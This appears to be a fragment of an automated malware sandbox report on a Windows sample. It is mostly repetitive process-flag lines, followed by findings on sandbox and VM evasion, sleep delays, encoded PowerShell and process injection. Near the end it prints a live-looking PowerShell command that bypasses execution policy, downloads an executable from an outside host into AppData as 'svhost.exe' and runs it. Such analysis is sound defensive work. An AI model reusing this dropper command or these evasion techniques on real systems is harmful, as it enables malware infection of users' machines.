Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: svhost.exe, 00000002.00000002.424099399.0000000003173000.00000004.00000800.00020000.00000000.sdmp, Opgcxhsdw.exe, 00000009.00000002.587061238.000000000352F000.00000004.00000800.00020000.00000000.sdmp, Opgcxhsdw.exe, 0000000A.00000002.587414248.00000000025CD000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2160	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe TID: 5496	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2164	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5780	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 376	Thread sleep count: 4305 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2708	Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9717	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9306	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9158
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4305

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svhost.exe, 00000002.00000002.457069212.00000000056E0000.00000004.08000000.00040000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004760000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CCXLFA7AP1jfH6OOqEMU
Source: Opgcxhsdw.exe, 0000000A.00000002.587414248.00000000025CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: powershell.exe, 00000000.00000002.383284065.000001D9F46B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWe"%SystemRoot%\system32\mswsock.dllHashed"
Source: Opgcxhsdw.exe, 0000000A.00000002.587414248.00000000025CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual?hal9th@johndoe
Source: svhost.exe, 00000007.00000002.582385460.00000000015BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Roaming\svhost.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: unknown

Encrypted powershell cmdline option found

Source: C:\Users\user\AppData\Roaming\svhost.exe	Process created: Base64 decoded start-sleep -seconds 20
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process created: Base64 decoded start-sleep -seconds 20
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process created: Base64 decoded start-sleep -seconds 20
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process created: Base64 decoded start-sleep -seconds 20	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process created: Base64 decoded start-sleep -seconds 20	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process created: Base64 decoded start-sleep -seconds 20	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\svhost.exe

Memory written: C:\Users\user\AppData\Roaming\svhost.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('https://oiartzunirratia.eus/install/clean/lcovlccdxd.exe','c:\users\user\appdata\roaming\svhost.exe');start-process 'c:\users\user\appdata\roaming\svhost.exe'

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\svhost.exe "C:\Users\user\AppData\Roaming\svhost.exe"	Jump to behavior
